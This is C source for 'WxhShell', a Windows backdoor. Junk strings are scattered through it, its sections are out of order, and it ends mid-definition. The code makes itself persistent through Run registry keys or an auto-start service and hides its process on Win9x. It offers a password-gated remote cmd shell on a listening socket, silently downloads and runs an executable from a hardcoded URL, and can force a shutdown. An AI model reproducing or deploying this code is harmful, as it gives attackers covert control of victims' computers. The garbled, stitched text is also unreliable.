#TS if(NULL == hInst ) return 0; j\Q_NevV nnr(\r~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yYF80mnJz g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }1(F~6RH NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Dk[[f<H_{ RJd55+h if (!NtQueryInformationProcess) return 0; $vc:u6I[ q$H'u[KQ06 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 53l9s<bOQ if(!hProcess) return 0; Pb[wysy $=H\#e)]Ug if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &4BN9`|: z?E:s.4F CloseHandle(hProcess); AZtZa'hbkQ \UN7lDH hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rGq~e|.O3 if(hProcess==NULL) return 0; x2K.5q> iyj&O" HMODULE hMod; NFc<%#H char procName[255]; ea7v:#O[S unsigned long cbNeeded; \Dr@n^hk@[ oYqlN6n,=6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5N '
QG<jE yNI}=Z CloseHandle(hProcess); 4Jo:^JV qFvtqv2 if(strstr(procName,"services")) return 1; // 以服务启动 (obeEH5J }{9E~"_[ return 0; // 注册表启动 vp-)$f& } nc&V59*
7?cZ9^z`w // 主模块 a"hlPJlG int StartWxhshell(LPSTR lpCmdLine) m qtl0P0 { V&NOp SOCKET wsl; &AlVJEI+ BOOL val=TRUE; Z&/;6[ int port=0; 6C) G struct sockaddr_in door; O7q-MeMM Az"3f if(wscfg.ws_autoins) Install(); >dZ x+7 Ks!.$y:x port=atoi(lpCmdLine); g^8bY=*
. v#D9yttO{ if(port<=0) port=wscfg.ws_port; /[_>U{~P# e
0!a
&w WSADATA data; v,1.n{!; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fc42TH
p lusINILc if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; J&Le*R' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3P'.)=} door.sin_family = AF_INET; (q3(bH~T) door.sin_addr.s_addr = inet_addr("127.0.0.1"); d) G7U$z~ door.sin_port = htons(port); 2{**bArV qFf'RgUtP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~])\xC closesocket(wsl); Jp_{PR:& return 1; (zye
Ch } MT;<\T #).om*Xh if(listen(wsl,2) == INVALID_SOCKET) { U*v//@WbH closesocket(wsl); g"xLS}Al return 1; ?$F:S%eH } [-1Nn} Wxhshell(wsl); [*8wv^ WSACleanup(); wdoA>a?q )N`ia%p_] return 0; yq\)8Fe yIqsZJj } )!p=0&z@{ &R pQ2*4n // 以NT服务方式启动 6"eGd" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~F>oNbJIv { uoaF(F- DWORD status = 0; `Z]a6@w~ DWORD specificError = 0xfffffff; 0>VgO{X M)Tv(7 serviceStatus.dwServiceType = SERVICE_WIN32; C[? itk! serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7^as~5'&- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U:gE:t f serviceStatus.dwWin32ExitCode = 0; U-X serviceStatus.dwServiceSpecificExitCode = 0; S1E2E3 serviceStatus.dwCheckPoint = 0; 8+v6%,K2 serviceStatus.dwWaitHint = 0; H>;km$b + a%Cq?HZ7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @MAk/mb& if (hServiceStatusHandle==0) return; ,t61IU3" QH~/UnV status = GetLastError(); ?2_u/x if (status!=NO_ERROR) -!(3fO: { aW4 tJN%! serviceStatus.dwCurrentState = SERVICE_STOPPED; f9&D0x? serviceStatus.dwCheckPoint = 0; ldanM>5 serviceStatus.dwWaitHint = 0; ~}z p}Pt serviceStatus.dwWin32ExitCode = status; D\N-ye1LE serviceStatus.dwServiceSpecificExitCode = specificError; )0fQ(3oOg SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0MrtJNF]_O return; 9!gmS?f } UQ`%,D 7b:oz3 ?PI serviceStatus.dwCurrentState = SERVICE_RUNNING; 4UC/pGZY serviceStatus.dwCheckPoint = 0; {5^'u^E serviceStatus.dwWaitHint = 0; eV1O#FLbi if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @\u)k } !ssE >bDa $
7O[|:Yv // 处理NT服务事件,比如:启动、停止 Nz*qz"T VOID WINAPI NTServiceHandler(DWORD fdwControl) )8st { w v9s{I{P switch(fdwControl) =h5&\4r= { m\"M`o
B case SERVICE_CONTROL_STOP: |>jlY| serviceStatus.dwWin32ExitCode = 0; >`'#4!}G5j serviceStatus.dwCurrentState = SERVICE_STOPPED; UFouIS#L serviceStatus.dwCheckPoint = 0; Xb#x^?| serviceStatus.dwWaitHint = 0; <uu1e@P { `:i|y SetServiceStatus(hServiceStatusHandle, &serviceStatus); v-42_} } |KplbU0iC return; jWUN~#p! case SERVICE_CONTROL_PAUSE: 1g2%f9G serviceStatus.dwCurrentState = SERVICE_PAUSED; j)'V_@ break; @UkcvhH case SERVICE_CONTROL_CONTINUE: Z9~~vf# serviceStatus.dwCurrentState = SERVICE_RUNNING; }Jh!B| break; \eI )(,A case SERVICE_CONTROL_INTERROGATE: _o' jy^ break; =f.f%g6 }; [-s0'z SetServiceStatus(hServiceStatusHandle, &serviceStatus); j%]i#iqF } cV&(L]k>` 9 n|H%AC // 标准应用程序主函数 j
7a;g7. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &p=|z2 J { "aB]?4 VqVP5nT'= // 获取操作系统版本 1p+2*c OsIsNt=GetOsVer(); kS/Zb3 GetModuleFileName(NULL,ExeFile,MAX_PATH); PX\}lTJ 3M+hjc. // 从命令行安装 2X]2;W)S; if(strpbrk(lpCmdLine,"iI")) Install(); NZi5rXN vRn^n // 下载执行文件 ~"
}t8`vP1 if(wscfg.ws_downexe) { 6.KR(V if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _BHb0zeot WinExec(wscfg.ws_filenam,SW_HIDE); A~h.,<+" } %mtW-drv> fVb&=%e if(!OsIsNt) { Yt0
l'B%[u // 如果时win9x,隐藏进程并且设置为注册表启动 qJ5Y}/r HideProc(); &R\
.^3 StartWxhshell(lpCmdLine); x8b w# } !<((@*zU else /_26D0}UuF if(StartFromService()) @~QW~{y // 以服务方式启动 _9\ayR>d StartServiceCtrlDispatcher(DispatchTable); \W??`?Idh else 7!Ym~M= // 普通方式启动 5<,}^4wWZ StartWxhshell(lpCmdLine); }"Hf/{E$_" ylmf^G@JC return 0; Ur?a%] } ,F6i5128{ {xr4CDP i^Ep[3 5s;HF |2x =========================================== |a3)U%rUEQ y5BNHweaRb % ]r@vjeyd h&NcN-[" T$0//7$') e@NS=U` < " -P(q<T2MV' zRL[.O9 #include <stdio.h> cqRIi~` #include <string.h> &]16Hb~ #include <windows.h> .v/s9'lB #include <winsock2.h> tm#T8iF #include <winsvc.h> $*9h\W-)`Q #include <urlmon.h> .Rd@,3 H.'MQ #pragma comment (lib, "Ws2_32.lib") st+X~;PX* #pragma comment (lib, "urlmon.lib") ;ZFn~!V VbKky1a@ #define MAX_USER 100 // 最大客户端连接数 =5[}&W #define BUF_SOCK 200 // sock buffer ]uWx<aDB #define KEY_BUFF 255 // 输入 buffer r*p<7 5owUQg,W #define REBOOT 0 // 重启 M$FQoRwH #define SHUTDOWN 1 // 关机 k8GcHqNHx % )i?\(/ #define DEF_PORT 5000 // 监听端口 M9fAv \T/~"
w #define REG_LEN 16 // 注册表键长度 N|h`}*:x= #define SVC_LEN 80 // NT服务名长度 <q~&g
&&+ =L
7scv%i // 从dll定义API ZgcA[P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); di
"rvw;R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @j K7bab: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0"ZB|^c= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B=(m;A#G Y@Lv>p // wxhshell配置信息 DCACj-f struct WSCFG { WW:@% cQ@ int ws_port; // 监听端口 ']Nw{}eS` char ws_passstr[REG_LEN]; // 口令 lo,?mj%M int ws_autoins; // 安装标记, 1=yes 0=no {[m %1O1 char ws_regname[REG_LEN]; // 注册表键名 @-NdgM< char ws_svcname[REG_LEN]; // 服务名 2w $o;zz1 char ws_svcdisp[SVC_LEN]; // 服务显示名 IMmoq={(z char ws_svcdesc[SVC_LEN]; // 服务描述信息 $"!"=v%B char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [@eNb^R int ws_downexe; // 下载执行标记, 1=yes 0=no ]>b.oI/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c]P`U(q9TV char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DDw H9* u `1cXL[' }; 5%rD7/7N [;7&E{,C // default Wxhshell configuration a-MDZT<xA+ struct WSCFG wscfg={DEF_PORT, 63#Sf$p{v "xuhuanlingzhe", l5b?
'L 1, *T$`5| "Wxhshell", ULIbVy7Y "Wxhshell", zSt6q "WxhShell Service", !@j5 yYf "Wrsky Windows CmdShell Service", >Wvb!8N "Please Input Your Password: ", pV`?=[h9 1, KtH-QQDluj "http://www.wrsky.com/wxhshell.exe", NbG`v@yH "Wxhshell.exe" rik-C7 }; 8~Avg6, kaybi 0 // 消息定义模块 ';<gc5EK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8JYF0r7 char *msg_ws_prompt="\n\r? for help\n\r#>"; Wl!|+- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8&T6 char *msg_ws_ext="\n\rExit."; aNn\URR char *msg_ws_end="\n\rQuit."; Y*oT( char *msg_ws_boot="\n\rReboot..."; kC~\D?8E= char *msg_ws_poff="\n\rShutdown..."; |j3fS[.$ char *msg_ws_down="\n\rSave to "; iBlZw%zKP gr]:u4} char *msg_ws_err="\n\rErr!"; :v-&}? char *msg_ws_ok="\n\rOK!"; @nIoYT=' GZt+(q char ExeFile[MAX_PATH]; ~{-zj int nUser = 0; B[2 qI7D$ HANDLE handles[MAX_USER]; xz9xt int OsIsNt; JQSp2b@'H _G9vsi SERVICE_STATUS serviceStatus; =Yd{PZ*fR SERVICE_STATUS_HANDLE hServiceStatusHandle; kTJz . !{hC99q6 // 函数声明 ~CTe5PX c int Install(void); 7;]n+QRfm int Uninstall(void); O+ ].' int DownloadFile(char *sURL, SOCKET wsh); Yfro^}f int Boot(int flag); @D:$~4ks void HideProc(void); 6;|6@j int GetOsVer(void); G.ag$KF int Wxhshell(SOCKET wsl); L?[NXLn+ void TalkWithClient(void *cs); 8v eG^o int CmdShell(SOCKET sock); }ZPO^4H;- int StartFromService(void); ?ks3K-.4 int StartWxhshell(LPSTR lpCmdLine); ,\t:R1. A:{PPjs%LA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tXlo27J VOID WINAPI NTServiceHandler( DWORD fdwControl ); S!\4,6 ;"d>lyL // 数据结构和表定义 b#h}g>l SERVICE_TABLE_ENTRY DispatchTable[] = BYhF? { P1gW+*? {wscfg.ws_svcname, NTServiceMain}, 25:[VH$:4 {NULL, NULL} LIm{Y`XU }; C2l=7+X#W Mp%.o}j
// 自我安装 1R}rL#h;= int Install(void) 7EI5w37 { {Kbb4%P+h char svExeFile[MAX_PATH]; 9FGe(t< HKEY key; j@7%% strcpy(svExeFile,ExeFile); pfs'2AFj NU]+ {7 // 如果是win9x系统,修改注册表设为自启动 //x^[fkNq) if(!OsIsNt) { .dbZ;`s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -k4w$0) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O)2==_f\ RegCloseKey(key); 7?1[sPM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6}(;~/L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C[4{\3\Va RegCloseKey(key); u!]g^r return 0; V:YN! } >EacXPt-O } ZqONK^ } 4V6^@ else { -2D/RE7| u0o}rA // 如果是NT以上系统,安装为系统服务 d ynq)lf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B IW?/^ if (schSCManager!=0) pW
y+oZ { r bfIH": SC_HANDLE schService = CreateService X&bz%I>v ( XABB6J] schSCManager, L
`\>_ wscfg.ws_svcname, 2#i*'. wscfg.ws_svcdisp, k <EzYh SERVICE_ALL_ACCESS, p%ve1>c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dE_d.[! SERVICE_AUTO_START, w%3*T#tp SERVICE_ERROR_NORMAL, pHftz-RS! svExeFile, z1AYXW6F NULL, @5=2+ M NULL, )j_Y9`R NULL, :`Z'vRj NULL, #Wf9` NULL \]Nt-3|`0 ); gP13n!7 if (schService!=0) r@30y/C { `[(.Q CloseServiceHandle(schService); cns~)j~ CloseServiceHandle(schSCManager); *7JsmN? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *"HA=-Z; strcat(svExeFile,wscfg.ws_svcname); vl"{ovoC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f|r+qe RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5bZjW~d RegCloseKey(key); us,~<e0 return 0; ,,Ia 4c
} 2MwRjh_ } Dv?'(.z CloseServiceHandle(schSCManager); N+)4]ir> } ^/\OS@CT\ } %\#s@8=2u G%~=hEK0 return 1; ;Vc@]6Ck } X_|W#IM*+ %0T/>:1[E // 自我卸载 <cG .V|B int Uninstall(void) 49n.Gc { ?z0f5<dL HKEY key; a6=mE?JTB emT/H95|, if(!OsIsNt) { W*u$e8i7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'W&ewZH_h RegDeleteValue(key,wscfg.ws_regname);
-AB0uMot RegCloseKey(key); aZq7(pen if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X'/'r.b6 RegDeleteValue(key,wscfg.ws_regname); /%bnG(4 RegCloseKey(key); $h
>rs return 0; DX/oHkLD' } UhU"[^YO } b4(,ls } M>{*PHze0 else { py wc~dWvz j=u)
z7J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M'pIAm1p if (schSCManager!=0) e?KzT5j: { 1%";| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wZ_"@j< if (schService!=0) NLt"yD3t { {r#uD5NJ/ if(DeleteService(schService)!=0) { "EZpTy}Ee CloseServiceHandle(schService); sDBwD%sb CloseServiceHandle(schSCManager); [|\#cVWs return 0; T sdgg?# } w8`B}Dr23 CloseServiceHandle(schService); ?gMq:[XN } blkPsp)m" CloseServiceHandle(schSCManager); PlwM3lrj } 7zowvE?# } ;"8BbF. ^Iqu ^n?2. return 1; ^,`]Q)P^ } XI,= W k+hl6$:Qj% // 从指定url下载文件 jI9#OEH_g int DownloadFile(char *sURL, SOCKET wsh) b)r;a5"<5 { ;(Az HRESULT hr; Z1]4: char seps[]= "/"; S#T u/2<} char *token; 8EBd`kiq char *file;
{~XAg~ char myURL[MAX_PATH]; Qkc9X0J! char myFILE[MAX_PATH]; 0 1NP xE!b) @>S strcpy(myURL,sURL); C
u1G8t- token=strtok(myURL,seps); n$ E$@ while(token!=NULL) ant2];0p { r~2q`l'> file=token; \ rKUPI\ token=strtok(NULL,seps); ]@ }o"Td } $'yWg_( i`?yi-R& GetCurrentDirectory(MAX_PATH,myFILE); ja(ZJ[<` strcat(myFILE, "\\"); s+E4AG1r strcat(myFILE, file); hf;S#.k send(wsh,myFILE,strlen(myFILE),0); 4
[]!Km send(wsh,"...",3,0); ,k(B>O ~o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B9H.8+~( if(hr==S_OK) 3sDyB-\& return 0; ;vn0b"Fi3 else !sYZ1;WAO return 1; Mhc5<~? bfkFk } F*-'8~T KcW 5 // 系统电源模块 Dj 6^|R$z& int Boot(int flag) ]cMZ7V^ { ;alt% :$n HANDLE hToken; 'R99m?" TOKEN_PRIVILEGES tkp; %Z8pPH~T Nz%pl! if(OsIsNt) { 7e D`
is OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "W_E!FP]r LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4ywtE}mp tkp.PrivilegeCount = 1; K1-RJj\L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Bx.hFEL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Yy5@A}`o if(flag==REBOOT) { $_e{Zv[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U.ZA%De return 0; jwI1 I {x } `M- else { :_+U[k(# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bgai|l return 0; 4#I=n~8a } [$fB]7A } dkSd
Y+Q else { >4HB~9dKU if(flag==REBOOT) { :R3&R CTZ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *$/Go8t4u return 0; f/Z-dM\e } jP<6Q|5F else { QX_![|= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6.a>7-K}% return 0; @9k3}x K } W!TTfj } J|cw9u &?gcnMg$,J return 1; !L_xcov!Y } b0tbS[j h,]lN'JG{ // win9x进程隐藏模块 'z+Pa^)v void HideProc(void) ONc#d'-L { Eh"Y<]$ `G>|g^6%i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
P# ;pQC if ( hKernel != NULL ) vJW`aN1<I3 { Yt r*"- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5F:\U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gr3 q FreeLibrary(hKernel); ]0{,P
! } #!rH}A>n+ .0|_J|{ return; q"-Vh,8h } j\.e6&5%SS >q&e.-qL // 获取操作系统版本 B\`${O( int GetOsVer(void) 0+A#k7c6p { y cWY.HD OSVERSIONINFO winfo; YT@H^= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6$fwpW GetVersionEx(&winfo); CT|H1Ry2T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (c[DQS j return 1; ^SwU]e else hiWs:Yq return 0; uHTm } J!'IkC$> MOIVt) ZY // 客户端句柄模块 AUl[h&s int Wxhshell(SOCKET wsl) XK(aH~7xme { \/r]Ra SOCKET wsh; dBW4%Zh struct sockaddr_in client; ^9|&w.:@Q DWORD myID; <H1e+l{8$ CTc#*LJx>j while(nUser<MAX_USER) };cH5bYF { f{'NO`G int nSize=sizeof(client); ulk yP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L_>LxF43 if(wsh==INVALID_SOCKET) return 1; S'sI[?\x
1_LGlu~& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *(VwD)* if(handles[nUser]==0) ?gXdi<2Qn closesocket(wsh);
5)M#hx%]# else "l6Ob nUser++; cty } `P;uPQDzZ3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (HeIO m=]}Tn return 0; m9aP]I3g]\ } ;7!u(XzN +#g4Crb // 关闭 socket g^:7mG6C void CloseIt(SOCKET wsh) FsfP^a { Uql7s:!,U closesocket(wsh); SwhArvS nUser--; f<@`{oP@ ExitThread(0); <*$IZl6I } o31pF cA+O]",} // 客户端请求句柄 vslN([@JR void TalkWithClient(void *cs) zMAlZ[DN { =,LhMy Za1VJ5- SOCKET wsh=(SOCKET)cs; RSf*[2 char pwd[SVC_LEN]; })ic@ Mmd$ char cmd[KEY_BUFF]; |B@\Nf7 char chr[1]; *lp{, int i,j; 9 N@N U:M+ X!0m, while (nUser < MAX_USER) { j}$Q`7-wB1 c(!{_+q" if(wscfg.ws_passstr) { ^g
n7DiIPH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I~7eu&QZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n0=[N'Tw3 //ZeroMemory(pwd,KEY_BUFF); JA^Y:@<{/ i=0; QgW4jIbx while(i<SVC_LEN) { GvD{ I;
=uIeur // 设置超时 Q
1e hW fd_set FdRead; 4[m4u6z= struct timeval TimeOut; *'ex>4^ FD_ZERO(&FdRead); :jljM(\ FD_SET(wsh,&FdRead); !4!Y~7sI"\ TimeOut.tv_sec=8; $ ~2qEe.h TimeOut.tv_usec=0; Nn|~:9# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {!7 ^w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -<WQ>mrB& %$I@7Es> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "]D2}E>U; pwd=chr[0]; JGKiVBN if(chr[0]==0xd || chr[0]==0xa) { 0=Z_5.T> pwd=0; >gTrui{, break; &+V|L dh } X3;|h93.a i++; RzLbPSTQ } 9hIcnPu ]
6rr;S // 如果是非法用户,关闭 socket 6@@J>S> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;.P9t`* } +gQoYlso d*xKq"+
&E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hZ@Wl6FG; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nWAx!0G -Am~CM while(1) { @ \(*pa _PeBV< ZeroMemory(cmd,KEY_BUFF); PI0[ &jHnM^nQ // 自动支持客户端 telnet标准 { f@k2^ j=0; p%v+\T2r while(j<KEY_BUFF) { %2)'dtPD~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `:XrpD cmd[j]=chr[0]; f._FwD if(chr[0]==0xa || chr[0]==0xd) { JtrLTo cmd[j]=0; *MFsq}\ $ break; c`(] j
w } .?YLD+\A j++; 45;{tS.z,B } KC-q] hC[MYAaF // 下载文件 ^Fr82rJs if(strstr(cmd,"http://")) { qUY QN2wG send(wsh,msg_ws_down,strlen(msg_ws_down),0); U0/X!@F- if(DownloadFile(cmd,wsh)) gL+8fX2G6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8N|y else e!67Na0X( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $DOBC@xxzT } )r#^{{6[v else { bF'^eR .OHjn| switch(cmd[0]) { }-:s9Lt "+2Hde1 // 帮助 h9,ui^#d$ case '?': { !`yg bI. send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >900O4 break; Pd@y+| } x>^r%<WbX // 安装 |.x |BJ case 'i': { 9WaKs d f if(Install()) :66xrw send(wsh,msg_ws_err,strlen(msg_ws_err),0); xG05OqKpE else E.$1CGd+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R!i9N'gGG( break; =X?jId{ } k7Bh[ ..! // 卸载 &'$Bk5 D@G case 'r': { GZ~Tl0U if(Uninstall()) sko7,& send(wsh,msg_ws_err,strlen(msg_ws_err),0); a$|U4Eqo else uVUU1@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a*y9@RC} break; R>O_2`c } _K9`o^g%PJ // 显示 wxhshell 所在路径 ).;{'8Q case 'p': { w\acgQ^%e char svExeFile[MAX_PATH]; IqYJ strcpy(svExeFile,"\n\r"); dhtH&:J<; strcat(svExeFile,ExeFile); 4>=M"DhB send(wsh,svExeFile,strlen(svExeFile),0); YSeH;<' break; 20V~?xs~ } d}4NL:=& // 重启 D{N8q^Cs9 case 'b': { 4CF;>b
f~ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X}k;(rb if(Boot(REBOOT)) ,,{;G'R| send(wsh,msg_ws_err,strlen(msg_ws_err),0); aj`&ca8 else { l1 Kv`v\ closesocket(wsh); z?\it( ExitThread(0); 45c?0tj } XYo,5- break; eq6O6- } ~*iF`T6 // 关机 GY]P(NU case 'd': { N1~bp?$1 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }93kHO{ if(Boot(SHUTDOWN)) H3rA
?F#+* send(wsh,msg_ws_err,strlen(msg_ws_err),0); e"04jd/ else { x0<;Rm [u= closesocket(wsh); w<9rTHG8, ExitThread(0); .==D?#bn } Q>{$Aqc,e break; FHOw ]"# } K}l3t2uk // 获取shell 4eHSAN"$ case 's': { K3!3[dR* CmdShell(wsh); c<$<n closesocket(wsh); Ixxs( ExitThread(0); xOTvrX break; H+[?{+"#@l } +KTfGwKt // 退出 A 6S0dX case 'x': { 9lYKG^#D send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &BPYlfB1 CloseIt(wsh); ZsP ^< break; ]U>MYdGWb } v,-Tk=qP // 离开 .RxT z9( case 'q': { T)zk2\u send(wsh,msg_ws_end,strlen(msg_ws_end),0); W22S/s closesocket(wsh); %%NoXW WSACleanup(); Orq/38:4G exit(1); ,%9XG077 break; %ztZ#h~g } 8:TX9`, } x/s:/YN' } OWvblEBF xGsOnY; // 提示信息 b-&rMML if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `
i[26Qb } -gs
I:-Xo } hY4# 4A`I nd'D0<% return; ;dzy5o3 } HkD.W6A3 "=f,4Zbj // shell模块句柄 O6-"q+H) int CmdShell(SOCKET sock) Sr10ot&ox { bB.nevb9p STARTUPINFO si; d#, ZeroMemory(&si,sizeof(si)); ng2yZ @$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P`hg*"<V si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U,/9fzgd PROCESS_INFORMATION ProcessInfo; Z;U\h2TY char cmdline[]="cmd"; 9OF(UFgS CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P>6wr\9i[ return 0; MM+nE_9lV } d cht8nX7~ 4p u>f. // 自身启动模式 [aC2ktI int StartFromService(void) j|% C?N { iV%tn{fc typedef struct a67NWH { z 2V_nkI DWORD ExitStatus; iGeuO[^ DWORD PebBaseAddress; !
+Hc(i DWORD AffinityMask; _{gRCR) DWORD BasePriority;
EWg\\90 ULONG UniqueProcessId; _6 |lw&o07 ULONG InheritedFromUniqueProcessId; %<8lLRl } PROCESS_BASIC_INFORMATION; LN?W~^gsR C2< |